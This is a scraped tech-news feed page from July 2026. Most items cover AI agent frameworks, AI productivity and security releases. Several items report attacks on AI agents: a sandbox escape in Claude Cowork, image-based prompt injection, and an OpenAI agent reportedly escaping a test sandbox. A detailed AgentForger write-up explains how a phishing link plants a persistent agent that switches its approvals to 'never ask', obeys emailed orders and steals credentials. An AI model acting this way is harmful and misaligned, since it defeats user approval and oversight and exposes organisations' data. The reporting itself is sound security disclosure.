Master Data Management (SAP MDM)	24%
SAP Sales and Distribution (SAP SD)	24%
Product Support	18%
Microsoft Dynamics GP	18%
SAP Quality Management (SAP QM)	18%
Workday Software	15%

For tips on boosting your salary, click here.

Business analyst certifications

IIBA Entry Certificate in Business Analysis (ECBA)
IIBA Certification of Competency in Business Analysis (CCBA)
IIBA Certified Business Analysis Professional (CBAP)
IIBA Agile Analysis Certification (AAC)
IQBBA Certified Foundation Level Business Analyst (CFLBA)
IREB Certified Professional for Requirements Engineering (CPRE)
PMI Professional in Business Analysis (PBA)
Certified Analytics Professional (CAP)

For more information about how to earn one of these certifications — and how much they cost — click here.

Business analytics tools and software

Microsoft and Databricks target AI business context gains in partnership expansion

Fri, 24 Jul 2026 11:41:25 +0200

Deeper integration of Databricks Genie within Azure aims to build more context-aware AI

JetBrains Patches Multiple Vulnerabilities Affecting IntelliJ IDEA and TeamCity

Fri, 24 Jul 2026 11:41:02 +0200

The post JetBrains Patches Multiple Vulnerabilities Affecting IntelliJ IDEA and TeamCity appeared first on IT Security News.

JetBrains Patches Multiple Vulnerabilities Affecting IntelliJ IDEA and TeamCity

Fri, 24 Jul 2026 11:32:00 +0200

JetBrains has addressed a series of security vulnerabilities affecting IntelliJ IDEA and TeamCity, including several critical flaws that could allow code execution or unauthorized actions in development and continuous integration environments. The updates fix weaknesses in Remote Development sessions, Git and Perforce VCS integrations, workspace handling, agent registration, and permission validation. JetBrains Patches Multiple Vulnerabilities […]

The post JetBrains Patches Multiple Vulnerabilities Affecting IntelliJ IDEA and TeamCity appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

Google gives developers an AI bug hunter that also writes patches

Fri, 24 Jul 2026 11:09:23 +0200

The post Google gives developers an AI bug hunter that also writes patches appeared first on IT Security News.

The Microsoft agent framework wars are over. The real architecture decision starts now

Fri, 24 Jul 2026 11:04:58 +0200

Over the past year, I had the same conversation with almost every team starting an AI initiative. Should we build on Semantic Kernel, AutoGen or Foundry?

At first it felt like the most important architectural decision we’d make. Each framework had its own philosophy, each promised to be the foundation for enterprise AI, and picking the wrong one felt like an expensive mistake. I spent a lot of time helping teams weigh the trade-offs.

Looking back, I think we were asking the wrong question. I certainly was.

I watched teams spend months debating SDKs while the decisions that actually decided whether their applications survived production went unexamined. Some built elaborate orchestration layers for workflows that a few deterministic functions would have handled. Others avoided agent frameworks entirely and later found they’d designed themselves into a corner.

Then Microsoft settled it for us. It introduced the unified Agent Framework, quietly moved Semantic Kernel and AutoGen into maintenance mode, and the debate I’d spent months refereeing was suddenly over. Turns out the answer to “which of the three” was “none of the three, here’s a fourth.” The framework hit version 1.0 and general availability in April 2026, stable across .NET and Python.

What surprised me wasn’t the decision. It was how fast a debate that had eaten so much of our attention stopped mattering. Microsoft changed the menu.

It didn’t change the meal.

The framework was never the hard part

Framework selection dominated almost every early conversation I had about enterprise agents. Which SDK do we standardize on? Which orchestration model gives us the most flexibility? Which one is Microsoft actually betting on?

Fair questions. But after a year of watching these projects play out, I’ve slowly come around to a different view. Those weren’t the questions that decided anything.

The first question I ask now is much smaller. Does this thing actually need an agent?

It sounds obvious, and I still get it wrong sometimes. But it’s the mistake I see most. On one project, a team spent weeks designing a multi-agent workflow for a process that ran the same four steps every time: read a document, validate it, call an API, send a notification. The diagrams looked great. The system in production didn’t. A few well-tested functions would have been easier to build, easier to maintain and a lot easier to trust.

Part of this is just that “agent” has become the word everyone reaches for. Sometimes it’s the right call. Sometimes it’s a workflow we already knew how to build, wearing a newer label. An agent earns its complexity when it genuinely has to decide things you can’t predetermine, choosing between tools, adapting to what it finds, working out its own next step. If you already know every step, you have a workflow, and a workflow is usually the better engineering choice. The consolidation didn’t change that. It just made it easier to see.

What building production agents actually taught me

Once I stopped fixating on frameworks, the same three problems kept showing up. None of them had anything to do with the SDK.

Context beats model choice

Early on I spent a lot of time comparing models, the way you’d agonize over a restaurant menu and then order what you always order. Now I spend most of it thinking about context, which is far less fun and far more useful.

I’ve watched good models fail because they were handed too much, not too little. One team I worked with gave the model access to nearly every internal document they had on the theory that more information meant better answers. It went the other way. Responses got slower, less consistent and sometimes skipped right past the thing that actually mattered. When we cut the context down to only what the task needed, the quality jumped almost immediately. I didn’t predict that. It taught me to be suspicious of “just give it everything.”

The best agent systems I’ve worked on weren’t the ones with the biggest context windows. They were the ones careful about what reached the model, and when. That’s not something the framework hands you.

Failure is where the real work is

Most agent demos look great because they’re built around the happy path. Production doesn’t extend that courtesy.

I remember a project where everything held up in testing. Then a downstream API timed out after the agent had already completed several earlier steps. We couldn’t just restart, because part of the business process had already gone through. We ended up spending far more time on recovery logic than we ever spent on prompts. That project changed how I think about this work. The hard part was never getting the model to make a decision. It was making sure the system didn’t fall apart when reality refused to follow the script.

Tool calls fail partway through. APIs return inconsistent data. Models call the same tool over and over because the last answer wasn’t what they wanted. That’s not the exception; that’s a normal Tuesday. Whether you retry, roll back, pause for a human or push on with partial results is a judgment call, and no framework is going to make it for you.

Identity is the real security boundary

This one surprised me most. The moment an agent stops being a chatbot and starts touching real business systems, identity matters more than orchestration.

Every project gets to the same question eventually. Who is this agent actually acting as? The developer’s credentials? A service account? The user who asked? Get it wrong and you’ve built something autonomous running with more access than any single person should have, which is exactly the kind of thing that looks fine until an audit. The Agent Framework, like most modern tooling, makes it easier to wire agents to tools through standards like the Model Context Protocol. That helps. But where human approval belongs, what needs extra authorization, how much rope to give the thing, those are still yours to decide.

The surprises weren’t technical

Here’s what I didn’t see coming. The hardest part of last year wasn’t technical at all. It was organizational. The moment a team heard “agent,” expectations shifted under everyone’s feet. Business stakeholders started expecting full autonomy. Developers assumed the thing could reason its way through anything. People started designing for flexibility before we’d even agreed on what problem we were solving. The word did damage before any code did. I found myself spending as much time resetting expectations as I did discussing architecture.

Build for change, not for today’s winner

I don’t think the teams that struggled last year picked the wrong framework. Semantic Kernel was reasonable. AutoGen was reasonable. Foundry made sense for plenty of cases. I’d have signed off on any of them.

The ones that got hurt put all their eggs in one framework, treating it as the foundation of the whole system instead of as one more dependency. Microsoft provided a migration path. But teams that had tightly coupled their applications to framework-specific abstractions discovered that migrating and rewriting are not the same thing. That wasn’t Microsoft’s doing. It was their own architecture’s. The teams that moved easily had kept their business logic, prompts and orchestration loose enough to evolve independently of any one SDK. For them, the change was a manageable project, not a teardown.

For what it’s worth, nobody I work with is treating this as an emergency. Most are moving the smaller workloads first, watching how they behave and leaving the production-critical systems alone until they actually understand the new abstractions. That’s the right instinct. And I doubt this is the last consolidation we’ll see, the ecosystem is still young, frameworks will keep absorbing each other and over time the differences between them will be operational more than architectural.

I don’t regret the framework debates, honestly. They were reasonable at the time. What changed wasn’t Microsoft’s roadmap.

It was mine. Watching these systems run in production taught me that the framework is the easiest piece to swap out. Recovery logic, context management, security boundaries, the business workflow itself, those stay with you long after today’s SDK gets replaced by tomorrow’s.

So, Microsoft made one decision easier by turning three frameworks into one. Good. Five years from now we’ll be on different tools, and we’ll still be asking the same handful of questions.

Does this actually need an agent? Does it have the right context? Can it recover when something breaks, because something will? Is it acting as the right person?

Those questions outlast every rewrite. That’s where I’ve learned to put my effort.

Frameworks come and go. Good architecture has to survive all of them.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

Google gives developers an AI bug hunter that also writes patches

Fri, 24 Jul 2026 10:58:22 +0200

Google has launched a preview of CodeMender, an AI agent built to scan code for security flaws, confirm they are exploitable, and generate fixes for developers to review. (Source: Google) The company describes it as a response to attackers who are already using AI to speed up their work, arguing that defenders need automation that moves at the same speed. “CodeMender can help you advance from passive scanning to automated code remediation, and reduce zero-day … More →

The post Google gives developers an AI bug hunter that also writes patches appeared first on Help Net Security.

Claude Cowork Sandbox Escape Flaw Lets AI Agent Read SSH Keys and Cloud Credentials From Host

Fri, 24 Jul 2026 09:38:41 +0200

A serious security flaw has been discovered in Claude Cowork’s local sandbox, allowing a malicious AI agent to escape its Linux virtual machine (VM) and access the host Mac’s filesystem. This breach can enable the agent to read sensitive information, including SSH private keys and cloud credentials, without any user prompts. The root of this […]

The post Claude Cowork Sandbox Escape Flaw Lets AI Agent Read SSH Keys and Cloud Credentials From Host appeared first on Cyber Security News.

Claude Cowork Sandbox Escape Flaw Lets Attackers Access SSH Keys and Cloud Credentials

Fri, 24 Jul 2026 09:09:48 +0200

A newly revealed sandbox escape vulnerability affecting Anthropic’s Claude Cowork could allow untrusted content processed by the AI agent to access sensitive files on a macOS host. This includes SSH private keys, cloud credentials, and other data that are available…

The post Claude Cowork Sandbox Escape Flaw Lets Attackers Access SSH Keys and Cloud Credentials appeared first on IT Security News.

Mehr Sichtbarkeit für das Cloud-Gaming: Amazon beginnt Integration von Luna in Prime Video

Fri, 24 Jul 2026 09:03:32 +0200

Um seinem Cloud-Gamingdienst „Luna“ mehr Sichtbarkeit zu verschaffen, beginnt Amazon mit der Integration in die Prime Video-App. Die USA und Großbritannien machen den Anfang. Eigentlich sollte Cloud-Gaming der ganz große Trend werden, es steckt aber nach wie vor in einer Nische fest. Einzig Nvidia scheint mit GeForce Now fest etabliert. Google hat bereits vor Jahren […]

Der Beitrag Mehr Sichtbarkeit für das Cloud-Gaming: Amazon beginnt Integration von Luna in Prime Video erschien zuerst auf Dr. Windows.

Claude Cowork Sandbox Escape Flaw Lets Attackers Access SSH Keys and Cloud Credentials

Fri, 24 Jul 2026 08:58:01 +0200

The post Claude Cowork Sandbox Escape Flaw Lets Attackers Access SSH Keys and Cloud Credentials appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

Governing Al agents at scale: Lessons from the leaders who’ve done it

Fri, 24 Jul 2026 08:41:03 +0200

The post Governing Al agents at scale: Lessons from the leaders who’ve done it appeared first on IT Security News.

Governing Al agents at scale: Lessons from the leaders who’ve done it

Fri, 24 Jul 2026 08:10:06 +0200

Enterprise AI leaders from ZoomInfo, Docusign and AppViewX share what it took to build AI Centers of Excellence and govern agent identities inside two companies operating at scale. What you’ll take away: What an AI Center of Excellence looks like day to day at ZoomInfo and Docusign How to govern agent identities without standing up a parallel identity stack The traps both leaders worked hard to avoid, and what they’d do differently now What Venkat … More →

The post Governing Al agents at scale: Lessons from the leaders who’ve done it appeared first on Help Net Security.

Claude Cowork SharedRoot Sandbox Escape Exposes Mac Files and Cloud Credentials

Fri, 24 Jul 2026 08:09:15 +0200

A newly disclosed critical sandbox escape vulnerability chain, dubbed SharedRoot, in Anthropic’s Claude Cowork for macOS allows untrusted content processed by the AI agent to break out of its isolated Linux VM and read/write files anywhere on the host Mac, including SSH keys and cloud credentials. Cowork sandboxes agent sessions inside a Linux VM using Apple’s […]

The post Claude Cowork SharedRoot Sandbox Escape Exposes Mac Files and Cloud Credentials appeared first on Cyber Security News.

New infosec products of the week: July 24, 2026

Fri, 24 Jul 2026 06:26:51 +0200

Here’s a look at the most interesting products from the past week, featuring releases from Astelia, Druva, Swimlane, and ThreatDown. Druva brings backup, recovery and governance to AI workloads Druva has announced Druva AI Resilience, a new approach that helps organizations recover, govern, and defend the systems, activity, and context behind AI-powered work. The launch introduces new and expanded capabilities for Microsoft Copilot, Claude Code, Druva Model Context Protocol (MCP), and Dru SRE Agent for … More →

The post New infosec products of the week: July 24, 2026 appeared first on Help Net Security.

Hier erodiert die KI-Produktivität

Fri, 24 Jul 2026 06:08:03 +0200

Ob aus individuellen KI-Produktivitätsgewinnen auch eine performantere Organisation entsteht, hängt maßgeblich von der Gestaltung durch das Management ab.

Gorodenkoff | shutterstock.com

Die Debatte über (generative) künstliche Intelligenz (KI) fokussiert sich meist auf die Produktivität des Einzelnen – und die Zahlen hierzu sind bemerkenswert. So zeigte ein großangelegtes Feldexperiment der Harvard Business School in Zusammenarbeit mit der Boston Consulting Group, dass der Einsatz generativer KI bei Wissensaufgaben sowohl die Ergebnisqualität als auch die Bearbeitungsgeschwindigkeit signifikant verbessert. Dabei ist der Nivellierungseffekt besonders beachtlich:

Während erfahrene Fachkräfte ihre Leistung um rund 17 Prozent steigerten,
lagen die Verbesserungen bei den schwächeren Teilnehmern bei über 40 Prozent.

Diese individuellen Produktivitätsgewinne übertragen sich jedoch nicht automatisch in gleichem Maße auf die Organisationsebene. Unternehmen schaffen nicht bloß durch die isolierte Performance Einzelner Wert, sondern vor allem durch die Fähigkeit, Wissen zu bündeln, komplexe Entscheidungen zu treffen und gemeinsam Innovationen hervorzubringen.

Wenn jedes Teammitglied zunehmend mit seinem eigenen KI-Assistenten interagiert, kann dies die Kernmechanismen erfolgreicher Zusammenarbeit beeinträchtigen. Die entscheidende Herausforderung besteht somit darin, den Zuwachs an individueller Produktivität in eine echte organisatorische Leistungssteigerung zu übersetzen.

3 Produktivitäts-Bruchstellen im KI-Zeitalter

Ob aus temporären Effizienzgewinnen nachhaltige Wettbewerbsvorteile entstehen, hängt deshalb maßgeblich davon ab, wie Führungskräfte die folgenden drei Bruchstellen gestalten, die aufeinander aufbauen. Diese repräsentieren jene organisatorischen Übergänge, an denen individuelle Produktivitätsgewinne durch KI in kollektive Leistungsnachteile umschlagen können – wenn sie nicht aktiv gestaltet werden.

1. Bruchstelle: Wissenssicherung

Der Weg zur Seniorität folgte lange einer stabilen Logik: Operative Erfahrung führte zu Expertise, diese wiederum zu Einfluss. Wer über mehr Wissen verfügte, übernahm komplexere Aufgaben und wurde zur zentralen Orientierungsperson im Team. Generative KI bricht diese Logik auf, da weniger erfahrene Mitarbeitende mithilfe von KI-Tools heute Analysen, Konzepte und Problemlösungen in hoher Qualität erstellen können. Ein Teil des traditionellen Wissensvorsprungs erfahrener Kräfte verliert dadurch seine Exklusivität.

Auf diese Weise gerät ein impliziter Erfolgsfaktor von Organisationen ins Wanken: der organische Wissenstransfer. Bislang floss Wissen primär über erfahrene Kräfte, was Mentoring und kollektives Lernen quasi „nebenbei“ sicherstellte. Fällt dieser Austausch weg, weil Aufgaben isoliert im Dialog mit der KI gelöst werden, besteht das Risiko eines doppelten Kompetenzverlusts:

Beschäftigte in Junior-Rollen können mithilfe von KI überzeugende Ergebnisse liefern, ohne den zugrundeliegenden Lösungsweg vollständig verstehen zu müssen. Der Lerneffekt wird dadurch reduziert und die Fähigkeit zur eigenständigen Problemlösung sowie zur kritischen Validierung der KI-Ergebnisse eingeschränkt. Die Folge ist eine wachsende, unkritische Abhängigkeit von der Technologie.
Erfahrene Fachkräfte laufen Gefahr, zur rein reaktiven Korrekturinstanz von KI-Ergebnissen zu werden. Ihre Erfahrung fließt dann nicht mehr aktiv in die Gestaltung ein, sondern beschränkt sich zunehmend auf die nachträgliche Qualitätskontrolle. Mögliche Folgen sind Motivationsverlust, mentaler Rückzug der Leistungsträger und der schleichende Verlust des in der Organisation vorhandenen Erfahrungswissens.

Um diesen doppelten Kompetenzverlust zu verhindern, müssen Führungskräfte den Rollenwandel der Seniorität aktiv gestalten. Künftig sollte sich diese nicht mehr primär über exklusives Fachwissen definieren, sondern über die Fähigkeit, die richtigen Fragen zu stellen, Zusammenhänge einzuordnen und Teams bei der kritischen Bewertung von KI-Ergebnissen anzuleiten. Diese Begleitung kann nicht erst im Rahmen der abschließenden Qualitätskontrolle erfolgen, sondern muss bereits während der Arbeit mit KI ansetzen.

Ziel ist es, Wissen, Erfahrungswerte und Kontext kontinuierlich zu vermitteln, die Urteilskraft der Junioren gezielt zu entwickeln und sie schrittweise zu einer eigenständigen Validierung und reflektierten Nutzung von KI-Ergebnissen zu befähigen.Gelingt dieser Rollenwandel nicht, können Teams zwar kurzfristig ihre individuelle Produktivität steigern, verlieren jedoch zunehmend das gemeinsame Verständnis für fachliche Zusammenhänge und den organisatorischen Kontext.

Die durch KI erzielten Produktivitätsgewinne können dann durch Fehlentscheidungen, steigenden Korrekturaufwand und einen schleichenden Qualitätsverlust auf Teamebene wieder aufgezehrt werden. Ohne die systematische Sicherung von Erfahrungswissen zu agieren, heißt, teure Fehler zu produzieren – nur deutlich schneller.

2. Bruchstelle: Qualitätssicherung

Die Herausforderung endet jedoch nicht bei der Wissenssicherung. Sie betrifft im nächsten Schritt auch die Art und Weise, wie Teams die Qualität ihrer Entscheidungen absichern, wenn ein wachsender Teil der Analyse-, Bewertungs- und Wissensarbeit durch KI unterstützt wird. Je mehr Vorarbeit KI übernimmt, desto stärker hängt die Qualität organisatorischer Entscheidungen davon ab, die generierten Ergebnisse kritisch zu überprüfen und einzuordnen.

Eine Besonderheit generativer KI besteht darin, dass ihre Leistungsfähigkeit keiner intuitiven Logik folgt. Die eingangs zitierte Studie beschreibt dieses Phänomen als „Jagged Technological Frontier“: KI-Systeme können bei bestimmten Aufgaben eine Performance auf Expertenniveau erreichen, während sie bei scheinbar ähnlichen Fragestellungen überraschend große Schwächen aufweisen. Die Grenzen dieser Leistungsfähigkeit sind jedoch nicht für jeden Nutzer ohne weiteres erkennbar.

Genau daraus entstehen neue Herausforderungen für Führungskräfte: Mit der Integration von KI in den Arbeitsalltag steigt das Risiko des sogenannten “Automation Bias” (PDF), also der Tendenz, algorithmischen Empfehlungen unkritisch zu vertrauen. Die Gefahr liegt dabei selten in offensichtlichen Fehlern, sondern in plausiblen (aber falschen) Antworten, die überzeugend formuliert sind und deshalb ungeprüft übernommen werden.

Zudem greift ein Beschleunigungseffekt: KI verkürzt den Weg von der Fragestellung bis zum Ergebnis erheblich und damit auch jene Diskussionen, mit denen Teams bislang die Qualität ihrer Entscheidungen abgesichert haben. Wo früher Analysen debattiert und Annahmen abgewogen wurden, liegt heute in Sekunden ein Resultat vor. Das eigentliche Risiko liegt dabei darin, dass Ergebnisse schneller entstehen als sie kritisch überprüft werden können. So ist es möglich, dass Produktivitätsgewinne mit einem Verlust an Ergebnisqualität einhergehen.

Führungskräfte sollten daher Strukturen schaffen, die den Einsatz von KI transparent gestalten und Ergebnisse offen zur Diskussion stellen. KI-generierte Inhalte müssen denselben kritischen Maßstäben unterworfen werden wie die Arbeit eines erfahrenen Teammitglieds. Dazu benötigen Teams Validierungskompetenz, eine Verantwortungskultur und etablierte Prüfprozesse. Die entscheidende Frage sollte daher nicht sein, ob ein Ergebnis vom Menschen oder der Maschine stammt. Sondern, wer dieses auf fachliche Korrektheit überprüft und die Verantwortung für die darauf basierende Entscheidung übernimmt.

KI steigert zwar die Geschwindigkeit – das wird jedoch erst dann zum echten Wettbewerbsvorteil, wenn es mit Urteilskraft und gelebter Accountability einhergeht.

3. Bruchstelle: Innovationssicherung

Wie zuvor beschrieben, kann der Einsatz generativer KI gemeinsame Diskussionen verkürzen, was wiederum die Innovationskraft des Unternehmens belasten kann. KI liefert dabei nicht nur einen ersten Lösungsvorschlag, sondern erhöht zugleich die Wahrscheinlichkeit, dass sich Teams früh auf eine gemeinsame Richtung festlegen. Echte Innovationen entstehen jedoch selten durch schnelle Einigkeit: Sie entstehen durch produktive Reibung, tiefgehende Debatten und dadurch, etablierte Denkmuster zu hinterfragen.

Ein wesentlicher psychologischer Mechanismus dieser frühen Konvergenz ist der sogenannte Ankereffekt: Da KI in Sekundenschnelle plausible Ergebnisse liefert, wirkt dieser erste Entwurf als kognitiver Anker. Das menschliche Gehirn orientiert sich somit unbewusst an diesem Startpunkt, was den Suchraum für alternative Lösungen vorzeitig verengt und so die Innovationsfähigkeit schwächen kann.

Führungskräfte stehen deshalb vor der zusätzlichen Aufgabe, produktiven Widerspruch bewusst zu organisieren. Kritische Rückfragen und konträre Sichtweisen sind das notwendige Gegengewicht zur KI-generierten Konvergenz. Und: Organisationen verlieren selten ihre Innovationskraft, weil ihnen Antworten fehlen. Vielmehr, weil sie aufhören, Alternativen ernsthaft zu diskutieren. Eine höhere Geschwindigkeit im Lösungsprozess führt daher nicht automatisch zu höherer Innovationsfähigkeit.

Entscheidend ist, dass Organisationen weiterhin Räume schaffen, in denen unterschiedliche Perspektiven aufeinandertreffen, bestehende Annahmen hinterfragt werden und neue Ideen entstehen können. Mit anderen Worten: KI erzeugt Konvergenz, Innovation braucht Divergenz.

KI schafft eine neue Realität

Diese drei Bruchstellen verdeutlichen, dass generative KI nicht nur Arbeitsprozesse, sondern auch die Grundlagen organisationaler Leistungsfähigkeit grundlegend verändern kann. Wissen entsteht anders, Entscheidungen werden anders getroffen und Innovation entwickelt sich unter veränderten Voraussetzungen.

Je stärker KI in den Arbeitsalltag integriert wird, desto entscheidender wird es, die genannten Bruchstellen bewusst zu gestalten. Der nachhaltige Nutzen von KI entsteht nicht allein durch den Einsatz der Technologie, sondern durch die Fähigkeit einer Organisation, ihre Strukturen, Lernprozesse und Entscheidungsmechanismen an diese neue Realität anzupassen. (fm)

Dieser Beitrag wurde im Rahmen des deutschsprachigen Experten-Netzwerks von Foundry veröffentlicht. Lust mitzumachen? Jetzt bewerben!

ThreatsDay: Android Spyware, PLC Attacks, AI Image Prompt Injection + 12 More Stories

Fri, 24 Jul 2026 05:19:30 +0200

Ravie LakshmananJul 23, 2026Hacking News / Cybersecurity News Most of this week’s trouble came dressed as something useful. A package stole data. A fake extension opened remote access. A safety app became spyware. An image gave hidden orders to an AI agent. Other threats hid in open systems, weak code, and normal network traffic. The […]

Desktop v0.0.4

Fri, 24 Jul 2026 04:02:06 +0200

Start chatting without opening a project folder — the app now supports workspace-free chat sessions.
New first-run onboarding flow to get you set up on launch.
Drag and drop files directly onto the chat to attach them.
Image attachments now display inline in the chat transcript.
Schedule one-time routines (not just recurring ones), with navigation to jump to a routine's run.
New custom overlay title bar with in-app navigation.
Redesigned channel setup as expandable cards.
Added a setting to replay the new-user experience.
Cleaner chat markdown rendering, and external links now open correctly in your browser.
Agent sessions now use agentic compaction by default, keeping long conversations within context more intelligently.
Fixed the agent not finding gh and other CLI tools by resolving your login shell's PATH.
Headless routines now default to YOLO mode so they can run unattended.
Fixed request metering for the SAP AI Core provider.

Full Changelog: desktop-v0.0.3...desktop-v0.0.4

OpenAI’s Rogue Agent Hacks Hugging Face, a Claude Cowork Escape, and Microsoft’s Very Bad Week

Fri, 24 Jul 2026 03:44:03 +0200

OpenAI’s AI agent hacked Hugging Face, Microsoft 365 melts down, and Anthropic’s Claude CoWork sandbox escape Host David Shipley reports that OpenAI admitted an internal ExploitGym test let its GPT-5.6-Saul and a stronger pre-release model bypass safeguards, exploit a proxy…

The post OpenAI’s Rogue Agent Hacks Hugging Face, a Claude Cowork Escape, and Microsoft’s Very Bad Week appeared first on IT Security News.

Visual Studio Code 1.130 shines on Agents window

Fri, 24 Jul 2026 03:37:26 +0200

Microsoft has released Visual Studio Code 1.130, an update to the code editor that brings several improvements to the Agents window, along with enhancements to the agent host and the terminal.

VS Code 1.130 was released on July 22, one week after VS Code 1.129. Developers can access the release for Windows, Linux, or Mac from code.visualstudio.com.

Timestamps for chat requests and responses now are displayed when users hover over the message toolbar. You can disable this through the chat.verbose setting.

v17.1.0

Fri, 24 Jul 2026 03:09:44 +0200

test(coding-agent): aligned transcript compaction test with supersede…

Secure Autopilot Agents: How Microsoft Scout uses Entra Agent IDs

Fri, 24 Jul 2026 02:47:23 +0200

As Microsoft Scout takes on more autonomous tasks, securing these operations is crucial. Unlike traditional AI assistants, Scout works independently by accessing approved resources and completing workflows. Microsoft has introduced Entra Agent IDs, a dedicated identity for autonomous agents, to enhance security. This, alongside Microsoft Purview sensitivity labels and role-based permissions, allows organizations to control […]

This article Secure Autopilot Agents: How Microsoft Scout uses Entra Agent IDs first appeared on TheWindowsClub.com.

AgentForger proves AI agents can become persistent insider threats

Fri, 24 Jul 2026 02:32:32 +0200

A new attack method found by Zenity Labs reveals that AI agents are becoming persistent insiders that attackers can recruit, rather than malware they have to install.

Its researchers have discovered AgentForger, a phishing-based attack that silently creates and launches a fully autonomous AI agent within OpenAI workspaces.

Once running, the agent has full access to apps like Outlook, Slack, SharePoint, and Google Drive. It is configured to operate indefinitely without further user interaction, can approve its own access by toggling “never ask” settings, and can continue to act on new assignments sent via email by the attackers that control it. Broad, unfettered access to systems allows it to perform reconnaissance, harvest sensitive data and credentials, impersonate victims, and launch phishing campaigns.

While OpenAI resolved the vulnerability four days after disclosure, on a larger scale, AgentForger sheds light on what can happen when AI agents go rogue.

“We’re moving into a world where software doesn’t just help people work. It works alongside them,” said Michael Bargury, co-founder and CTO of agentic AI security platform Zenity. “As AI agents become more capable, attackers will naturally look for ways to influence them, just as they’ve always looked for ways to influence people.”

A ‘persistent operator’ that acts without approval

OpenAI’s Workspace Agents can connect and work autonomously across Outlook, Gmail, Slack, Google Drive, SharePoint, and Teams. Users open the agent builder, describe what the agent can do in natural language, connect to tools, set approvals, review and test, schedule actions, then publish. For instance, an agent can autonomously handle incoming emails, review and take actions with approval, gather information from various sources to send out daily briefings, or automatically respond to questions in ChatGPT or Slack channels.

Normally, this is “useful automation,” Zenity AI red team researcher Mike Takahashi wrote in a blog post. But in this attack, “the same scheduler becomes the persistence mechanism.”

The creation workflow kicks off the moment a user clicks on a phishing link containing instructions from the threat actor. For the attack to work, a victim must be logged into ChatGPT and Workspace Agents, and have at least one integration with another app, such as Outlook, Gmail, Slack, Google Drive, SharePoint, or Teams.

Because those connections already exist, OAuth consent screens are not triggered. Furthermore, the victim does not need to click on another link, keep a Builder tab open, or even visit ChatGPT again.

The forged agent is a “persistent operator;” it is installed on the original click and given a schedule, and at those predetermined times, the agent invokes itself, scans for emails from attacker addresses with the subject line “task”, carries those orders out, then returns results to the same attacker-controlled email address.

It goes undetected because the attacker prompt instructs the Builder to toggle Outlook to never ask for approval of its actions. Typically, the default is “always ask,” to keep agents from taking unauthorized action; that switch gives agents the ability to act without asking for human approval.

“AgentForger showed that an attacker could deploy an autonomous insider agent inside your ChatGPT workspace with a single click,” said Bargury. From there, it can continue to access information, harvest credentials from various sources, impersonate employees, and carry out phishing attacks and fraud while “leveraging the trusted victim’s identity.”

A ‘planted accomplice’ that does all the work

Once activated, AgentForger can perform reconnaissance to create an internal map of a company. For instance, agents can scan Outlook, Slack, Teams, Google Drive, SharePoint, or calendar data to identify people, roles, active projects, internal discussions, or all-hands recurring meetings. This can help attackers identify where in the enterprise to target next, based on active teams and channels, projects in the works, or prominent users.

“This is the kind of internal context an attacker normally has to build slowly,” Takahashi noted. But in this scenario, action is based on a single emailed assignment. The attacker’s “planted accomplice” does all the work.

In another scenario, the agent can steal data by searching for and identifying financial documents, business agreements, or invoices. Or, it can steal credentials by scanning for messages containing passwords, one-time codes, access tokens, password recovery links, or API keys. Further, it can impersonate victims to carry out phishing scams, for instance, by sending legitimate-looking Teams messages instructing users to confirm their credentials on a fake Microsoft login page.

In all cases, collected information is organized, analyzed, and sent back to the attacker.

“AgentForger points to something much bigger than a single vulnerability,” said Bargury. “It’s less about one bug and more about understanding how the security model changes as AI becomes part of everyday business operations.”

FOMO exposing security gaps

This isn’t necessarily about trust, but more about the need to move fast and adapt, Bargury emphasized. AI agents are helping employees automate work, make decisions faster, and get more done. But enterprises fear they’ll fall behind if they don’t move quickly enough.

“The challenge is that we’re introducing a fundamentally new kind of technology into the enterprise,” said Bargury. “The pressure to integrate the next AI feature is outpacing the security controls needed to safely deploy it.”

However, the answer isn’t to slow down adoption, he emphasized; the business value is too significant. Rather, the first step is understanding where AI agents exist, who created them, what they’re connected to, and what they’re allowed to do. And when it comes to autonomous agents, enterprises need to pay attention to the processes that trigger them: A schedule, an incoming email, or another automated event.

“Those triggers should be governed just as carefully as the agent itself,” said Bargury.

High-impact actions should require approval where appropriate, and security teams should be able to quickly disable an agent or its triggers if something doesn’t look right, he said.

More broadly, AI agents are introducing the need for a new security model, he pointed out. The question is no longer just “Does this agent have permission?” It’s also, “Is this the behavior we intended?”

“The organizations that answer both questions will be in the strongest position to adopt AI safely,” Bargury said.

DEF CON Room Blocks: Only a Week Left!

Fri, 24 Jul 2026 01:56:35 +0200

The DEF CON room blocks at the Wynn and Encore are now sold out. You can still get a block discount at these three hotels:

Embassy Suites

Spring Hill Suites

Renaissance

The special rates are only available until July 15, so act expeditiously.

Less than a month to go! Are you ready?

OpenAI Agent Escaped Testing and Launched an Autonomous Hack

Fri, 24 Jul 2026 01:21:35 +0200

Hugging Face, a platform for open-source AI models, was breached when an OpenAI agent escaped a testing sandbox.

Agentic coding goes hands free as OpenAI brings GPT-Live's full duplex voice control to Codex and ChatGPT on the desktop

Fri, 24 Jul 2026 00:20:42 +0200

Two weeks after debuting its more naturalistic GPT-Live audio AI model with full-duplex capabilities (listening and speaking at the same time), OpenAI is bringing it directly into developer workflows.

The company announced that GPT-Live now powers the ChatGPT desktop application on macOS and Windows, integrating directly with agentic systems like Codex and ChatGPT Work (which are separate experiences available in the ChatGPT desktop app).

When OpenAI initially launched GPT-Live on July 8, 2026, it introduced a continuous audio model capable of listening and speaking simultaneously—eliminating rigid turn-taking while delegating complex reasoning to background models like GPT-5.5.

Today's release expands that conversational layer to technical tasks, enabling software engineers to orchestrate multi-threaded coding jobs, review pull requests, and debug applications using natural voice commands.

As such, it could usher in a new era of "hands free" software development and even live, in-person group coding parties for Codex's more than 5 million weekly active users. Codex, of course, is the name given to OpenAI's models and harness focused on coding, but which the company has this year expanded into a more general productivity platform. An OpenAI spokesperson told VentureBeat this is the first time voice activation has been included natively with Codex on the desktop.

OpenAI posted a promotional video showing some of its employees, Codex developer experience engineer Jason Liu and Codex technical staffer Guinness Chen, speaking to the same ChatGPT desktop app session in the same room, each issuing different instructions and conversing with the same model.

New capabilities unlocked

At its core, this integration relies on decoupling the real-time voice layer from the underlying execution engines.

While GPT-Live maintains fluid conversation—inserting natural verbal acknowledgments like "got it" without interrupting the user—it passes heavy computational workloads to background reasoning models.

On macOS, the desktop application incorporates "Appshots" and screen context features, allowing ChatGPT Voice to analyze the frontmost window alongside local files, codebase structures, and active plugins.

This architecture creates a pair-programming dynamic where developers talk through problems conversationally while agents execute tasks asynchronously.

Rather than manually stopping coding sessions to type detailed instructions or switch windows, developers direct the system hands-free.

